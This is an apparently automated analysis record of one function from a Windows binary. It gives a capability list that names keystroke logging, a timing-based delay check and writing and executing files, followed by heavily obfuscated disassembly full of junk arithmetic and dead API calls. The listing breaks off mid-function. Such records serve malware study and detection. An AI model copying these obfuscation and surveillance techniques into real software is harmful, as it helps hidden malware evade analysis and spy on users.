Function at 0x1003396f
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check os version
Clear file content
Create pipe
Create process on windows
Create two anonymous pipes
Delete file
Enumerate files on windows
Enumerate gui resources
Get common file path
Get disk information
Get file attributes
Get file system object information
Get system information on windows
Log keystrokes
Query environment variable
Query or enumerate registry key
Query service status
Read .ini file
Set thread local storage value
Start service
Suspend thread
Terminate process
Write and execute a file

Disassembly:
mov eax, 0x10088305
call fcn.10086d10
mov eax, 0x1444
call fcn.10083300
push ebx
push esi
push edi
mov eax, 0xffff
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x30], eax
mov ebx, 0xc9ca3191
mov dword [ebp - 0x2c], ebx
push 2
pop esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x38], 9
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov byte [ebp - 0x6d], dl
xor edx, edx
cmp ecx, eax
setne dl
or ecx, 0xffffffff
mov dword [ebp - 0x28], edx
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, 0xfffffff6
setge cl
xor edi, edi
sub eax, ecx
inc edi
cmp eax, edi
jg 0x100339e9
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, 0xffffffff
push 0
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
pop eax
setg dl
add edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
imul edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x30]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x38], 0xffffffe5
cmp dword [ebp - 0x38], esi
mov esi, dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
jg 0x10033a70
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10033a3e
push eax
push eax
push eax
push eax
call esi
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10033a61
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1a
je 0x10033a5e
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x2c]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1a
jne 0x10033a4f
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x19
je 0x10033a43
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x10033a2d
mov eax, 0xffff
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ebx
push 2
pop ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x38], 9
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setne dl
xor ecx, ecx
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x30]
setge cl
xor edx, edx
cmp ecx, 0xfffffff6
setge dl
sub eax, edx
cmp eax, edi
jg 0x10033ac3
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setg dl
add edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
imul edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x30]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x38], 0xffffffe5
cmp dword [ebp - 0x38], ebx
jg 0x10033b42
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10033b11
push eax
push eax
push eax
push eax
call esi
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10033b34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1a
je 0x10033b31
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x2c]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1a
jne 0x10033b22
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x19
je 0x10033b16
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x10033b00
mov dword [ebp - 0x3c], 0xac12
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x20], 0xf7919adb
mov dword [ebp - 0x2c], 0x1f6f49c2
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10033b71
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], 0xaee5
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], edi
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10033b93
mov eax, edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
add eax, 0xaf9f7c8b
xor ecx, ecx
cmp eax, 0x32e3
setne cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x10033bc0
call ebx
mov eax, 0xffff
xor edx, edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0xc9ca3191
mov dword [ebp - 0x28], 2
mov dword [ebp - 0x38], 9
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setne dl
xor ecx, ecx
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x30]
setge cl
xor edx, edx
cmp ecx, 0xfffffff6
setge dl
sub eax, edx
cmp eax, edi
jg 0x10033c18
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setg dl
add edx, dword [ebp - 0x30]
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
imul edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x30]
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x38], 0xffffffe5
cmp dword [ebp - 0x38], 2
jg 0x10033c99
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10033c67
push eax
push eax
push eax
push eax
call esi
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10033c8a
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x1a
je 0x10033c87
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x2c]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1a
jne 0x10033c78
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x19
je 0x10033c6c
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x10033c56
push 2
pop esi
push esi
lea ecx, [ebp - 0x938]
call fcn.1001b841
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], 0xbeb0647d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10033cda
push dword [ebp - 0x18]
lea ecx, [ebp - 0x938]
call fcn.1001b8b2
mov dword [eax], 0xca631852
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10033cbc
xor eax, eax
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], eax
jl 0x10033d0a
push dword [ebp - 0x18]
lea ecx, [ebp - 0x938]
call fcn.1001b8b2
cmp dword [eax], 0
jne 0x10033d0a
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x10033d05
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
dec dword [ebp - 0x18]
jns 0x10033ce2
or eax, 0xffffffff
lea ecx, [ebp - 0x938]
mov dword [ebp - 4], eax
call fcn.1001b8ad
mov dword [ebp - 0x3c], 0xac12
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0xfffffffd
mov dword [ebp - 0x20], 0xf7919adb
mov dword [ebp - 0x2c], 0x1f6f49c2
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x10033d4a
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], 0xaee5
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], edi
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10033d6c
mov eax, edi
add eax, 0xaf9f7c8b
xor ecx, ecx
cmp eax, 0x32e3
setne cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x10033d95
call ebx
xor eax, eax
mov dword [ebp - 0x3c], 0x1824a8c6
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x28], 0xfa1a8f1
push 3
mov dword [ebp - 0x2c], 0xb6b7be2d
mov dword [ebp - 0x3c], eax
pop ebx
jmp 0x10033e65
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x10033dd8
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x248], 7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10033dc0
xor eax, eax
mov dword [ebp - 0x244], 0xffffffe8
jmp 0x10033e3e
mov dword [ebp - 0x2c], 0x717be9fb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10033e0b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6b0], 0xccb03629
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10033df3
xor eax, eax
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 0x1c
jg 0x10033e38
mov dword [ebp - 0x2c], 0x250d
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x6b0]
cmp dword [ebp - 0x6b0], 0x1c
jle 0x10033e1a
xor eax, eax
inc dword [ebp - 0x244]
cmp dword [ebp - 0x244], 0xfffffffa
je 0x10033de4
mov ecx, dword [ebp - 0x244]
xor edx, edx
mov eax, dword [ebp - 0x244]
cmp ecx, eax
push 0
setge dl
neg edx
mov dword [ebp - 0x38], edx
inc dword [ebp - 0x3c]
pop eax
cmp dword [ebp - 0x3c], 0xf
jle 0x10033db8
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, 0x8254
setl cl
add ecx, dword [ebp - 0x28]
jne 0x10033eae
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10033f3f
push edi
lea ecx, [ebp - 0x804]
call fcn.1001b841
xor eax, eax
mov dword [ebp - 4], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10033ef9
push dword [ebp - 0x18]
lea ecx, [ebp - 0x804]
call fcn.1001b8b2
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10033edb
xor eax, eax
push eax
lea ecx, [ebp - 0x804]
call fcn.1001b8b2
lea ecx, [ebp - 0x804]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
xor eax, eax
push eax
call fcn.1001b8b2
xor edx, edx
cmp dword [eax], edx
mov eax, dword [ebp - 0x3c]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
or eax, 0xffffffff
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x804]
mov dword [ebp - 4], eax
call fcn.1001b8ad
jmp 0x10033f4f
mov dword [ebp - 0x2c], 0x4e5477a
mov dword [ebp - 0x24], edi
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x38], edi
push 8
mov dword [ebp - 0x38], eax
pop edx
jmp 0x10033f90
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x48], 0xf
cmp dword [ebp - 0x48], edx
jle 0x10033f8d
or ecx, 0xffffffff
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x18], eax
jmp 0x10033f7f
mov dword [ebp - 0x2c], edi
dec dword [ebp - 0x2c]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x12
jne 0x10033f76
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], edx
jg 0x10033f6e
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff6
jg 0x10033f5c
mov ecx, 0xffff
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x258], ecx
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x250], ecx
mov dword [ebp - 0x14], 0x2c36544d
mov dword [ebp - 0x1c], 0x19a6fdd8
mov dword [ebp - 0x28], 0x790660d6
mov dword [ebp - 0x54], 0xbdccb4f7
cmp dword [ebp - 0x254], eax
jne 0x10033ff8
mov eax, dword [ebp - 0x258]
mov eax, dword [ebp - 0x254]
mov eax, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x250]
mov eax, dword [ebp - 0x258]
mov eax, dword [ebp - 0x258]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
inc eax
add eax, ecx
imul eax, dword [ebp - 0x28]
test eax, eax
je 0x10034037
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x10034037
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x100341ef
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
jmp 0x100341ed
movdqa xmm0, xmmword [0x1000c9d0]
lea eax, [ebp - 0xed8]
push eax
lea eax, [ebp - 0xee8]
mov dword [ebp - 0x38], 5
mov dword [ebp - 0x20], 0x4322e7c6
lea ecx, [ebp - 0x1320]
push eax
movdqu xmmword [ebp - 0xee8], xmm0
call fcn.1001b8c1
lea ecx, [ebp - 0x249]
mov esi, eax
call fcn.1000db63
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xab8]
push dword [esi]
call fcn.1001b883
push 2
pop esi
xor eax, eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x1003415a
or ecx, 0xffffffff
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x1003414e
mov dword [ebp - 0x2c], 6
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x25c], 0
je 0x100340d8
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x1003413d
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1003413d
mov dword [ebp - 0x2c], 0xc8a81d5f
xor eax, eax
mov dword [ebp - 0x24], 0xe74fd574
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x100340f7
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [ebp - 0x40]
xor edx, edx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2c], 0xa966896e
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x250]
sub ecx, eax
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setle dl
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x100340b2
xor eax, eax
or ecx, 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x100340a3
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x254]
jl 0x1003416e
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x28]
xor ebx, ebx
mov eax, dword [ebp - 0x258]
cmp eax, ecx
push esi
lea ecx, [ebp - 0xab8]
setle bl
call fcn.1001b8b2
xor ecx, ecx
mov dword [eax], ebx
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
setl cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setne dl
cmp edx, dword [ebp - 0x38]
jg 0x100341ae
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x258]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
push 3
pop ebx
cmp dword [ebp - 0x1c], eax
jl 0x100341d7
push ebx
lea ecx, [ebp - 0xab8]
call fcn.1001b8b2
cmp dword [eax], 0
jne 0x100341d7
xor eax, eax
jmp 0x100341d9
mov eax, edi
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0xab8]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.1001b8ad
xor eax, eax
mov dword [ebp - 0x2c], 0xc9ca3191
mov ecx, 0xbd13d8c5
mov dword [ebp - 0x3c], 0xb9f9b319
mov dword [ebp - 0x20], 0xed99ea7
mov dword [ebp - 0x3c], 0xffffffe8
cmp dword [ebp - 0x3c], 0xffffffee
jl 0x100342d3
jmp 0x1003421e
xor eax, eax
mov dword [ebp - 0x28], 0xfe5f36f6
mov dword [ebp - 0x18], eax
jmp 0x1003423b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x10c8], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003422a
mov eax, dword [ebp - 0x10c0]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
imul eax, dword [ebp - 0x20], 0x8e13
cmp dword [ebp - 0x3c], eax
jg 0x10034270
xor eax, eax
cmp dword [ebp - 0x10c0], eax
je 0x10034272
mov eax, edi
imul ecx, eax, 0x11c3
xor edx, edx
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
sub edx, 0x42bb
neg edx
sbb edx, edx
neg eax
sbb eax, eax
inc eax
cmp eax, edx
jne 0x100342b0
mov dword [ebp - 0x28], ebx
xor eax, eax
cmp dword [ebp - 0x28], eax
jl 0x100342c1
mov dword [ebp - 0x20], 0x617a9413
dec dword [ebp - 0x28]
jns 0x100342a2
jmp 0x100342c1
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x100342c1
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
inc dword [ebp - 0x3c]
mov ecx, 0xbd13d8c5
cmp dword [ebp - 0x3c], 0xffffffee
jge 0x1003421c
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x18], 0xf6af1124
mov dword [ebp - 0x18], 6
cmp dword [ebp - 0x18], 0xffffffef
jle 0x1003431f
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10034304
push 0x18bc
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], 0
je 0x10034316
push eax
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffef
jg 0x100342ec
mov dword [ebp - 0x1c], 9
lea ecx, [ebp - 0x1b8]
push edi
call fcn.1001b841
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x90]
xor eax, eax
mov dword [ebp - 0x40], 0x7c9d5fac
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x14], 0xcb4e76ab
push 4
call fcn.1001b841
mov byte [ebp - 4], 4
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffa
mov dword [ebp - 0x2c], 0x9adb
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10034395
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1b8]
call fcn.1001b8b2
mov dword [eax], 0x1f665683
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10034377
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100343b1
push dword [ebp - 0x14]
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
mov dword [eax], 0xa9864ba8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1003439a
dec dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x10034417
cmp dword [ebp - 0x20], eax
je 0x100343d3
cmp dword [ebp - 0x38], eax
jne 0x100343d3
mov edi, eax
mov esi, dword [ebp - 0x2c]
lea ecx, [ebp - 0x90]
xor eax, eax
inc eax
push eax
call fcn.1001b8b2
lea ecx, [ebp - 0x1b8]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.1001b8b2
xor edx, edx
cmp edi, dword [eax]
mov eax, dword [ebp - 0x40]
setle dl
xor ecx, ecx
add edx, esi
cmp edx, eax
setge cl
xor edi, edi
add ecx, dword [ebp - 0x1c]
jne 0x10034416
xor eax, eax
inc edi
mov esi, eax
jmp 0x1003441b
inc edi
mov esi, edi
xor eax, eax
push eax
lea ecx, [ebp - 0x1b8]
call fcn.1001b8b2
mov ecx, dword [ebp - 0x20]
xor edx, edx
cmp esi, ecx
lea ecx, [ebp - 0x1b8]
setge dl
xor ebx, ebx
cmp dword [eax], edx
sete bl
xor eax, eax
push eax
call fcn.1001b8b2
xor ecx, ecx
cmp dword [eax], ebx
setl cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x1b8]
push eax
call fcn.1001b8b2
mov edx, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, dword [eax]
sete cl
xor eax, eax
cmp ecx, dword [ebp - 0x38]
jne 0x10034476
mov esi, eax
cmp dword [ebp - 0x30], eax
je 0x10034478
mov esi, edi
push eax
lea ecx, [ebp - 0x1b8]
call fcn.1001b8b2
mov eax, dword [eax]
sub eax, esi
cmp eax, dword [ebp - 0x20]
jg 0x1003465f
mov dword [ebp - 0x44], 0xe8dce9db
xor eax, eax
mov dword [ebp - 0x20], 0xaee4
mov dword [ebp - 0x2c], 0x98381653
push 3
mov dword [ebp - 0x30], eax
pop esi
cmp dword [ebp - 0x30], esi
jg 0x100347a1
push dword [ebp - 0x30]
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
push dword [ebp - 0x30]
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x90]
push dword [ebp - 0x30]
call fcn.1001b8b2
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x90]
push dword [ebp - 0x30]
call fcn.1001b8b2
xor eax, eax
lea ecx, [ebp - 0x1b8]
push eax
call fcn.1001b8b2
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x1b8]
xor eax, eax
push eax
call fcn.1001b8b2
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x90]
push dword [ebp - 0x30]
call fcn.1001b8b2
push dword [ebp - 0x30]
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
push dword [ebp - 0x30]
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
push dword [ebp - 0x30]
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
push dword [ebp - 0x30]
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
push dword [ebp - 0x30]
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
mov ecx, dword [ebp - 0x44]
mov esi, eax
mov edx, dword [ebp - 0x14]
xor eax, eax
sub edx, ecx
mov edi, 0xd436f9c8
mov ecx, dword [ebp - 0x38]
cmp edx, ecx
push dword [ebp - 0x30]
setne al
xor ecx, ecx
cmp eax, dword [esi]
setl cl
sub edi, ecx
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
push dword [ebp - 0x30]
lea ecx, [ebp - 0x90]
sub edi, dword [eax]
call fcn.1001b8b2
lea ecx, [ebp - 0x1b8]
mov esi, dword [eax]
xor eax, eax
push eax
add esi, edi
call fcn.1001b8b2
lea ecx, [ebp - 0x90]
mov eax, dword [eax]
add eax, esi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
push dword [ebp - 0x30]
call fcn.1001b8b2
mov ecx, dword [ebp - 0x2c]
xor ebx, ebx
cmp ecx, dword [eax]
setge bl
xor edi, edi
inc edi
lea ecx, [ebp - 0x90]
push edi
call fcn.1001b8b2
cmp ebx, dword [eax]
jne 0x10034600
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10034602
mov esi, edi
jmp 0x10034604
xor eax, eax
mov esi, eax
push dword [ebp - 0x30]
lea ecx, [ebp - 0x90]
call fcn.1001b8b2
xor edx, edx
sub esi, dword [eax]
mov eax, dword [ebp - 0x44]
cmp esi, edi
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x90]
push dword [ebp - 0x30]
call fcn.1001b8b2
mov ecx, dword [ebp - 0x40]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x4d], al
cmp byte [ebp - 0x4d], al
je 0x1003464b
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
inc dword [ebp - 0x30]
push 3
pop eax
cmp dword [ebp - 0x30], eax
jle 0x100344b7
jmp 0x1003479f
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x1c], 0xfffffff1
cmp dword [ebp - 0x1c], 0x20
jg 0x1003474c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
sub eax, 0xebcd
neg eax
sbb eax, eax
inc eax
cmp eax, 0xfffffffa
jg 0x1003469e
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x100346a0
mov eax, edi
mov dword [ebp - 0x38], eax
xor edx, edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setg dl
sub eax, edx
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x100346e1
mov eax, dword [ebp - 0x2c]
sub eax, 0x34bea37b
jne 0x100346db
cmp dword [ebp - 0x28], eax
je 0x100346df
mov esi, edi
jmp 0x100346e3
xor eax, eax
mov esi, eax
push 3
pop eax
mov dword [ebp - 0x3c], 0x83d52604
lea ecx, [ebp - 0x90]
push eax
call fcn.1001b8b2
lea ecx, [esi + 0xa1d0]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x1b8]
setl bl
xor eax, eax
push eax
call fcn.1001b8b2
mov ecx, dword [ebp - 0x14]
xor edx, edx
cmp ebx, ecx
push 0
setne dl
xor ecx, ecx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x2c]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setle dl
xor ecx, ecx
cmp eax, edx
pop eax
setl cl
mov dword [ebp - 0x14], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x20
jle 0x1003467c
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffe5
jle 0x1003479f
push 3
pop esi
mov dword [ebp - 0x28], eax
jmp 0x10034790
mov dword [ebp - 0x2c], 0x5eb91548
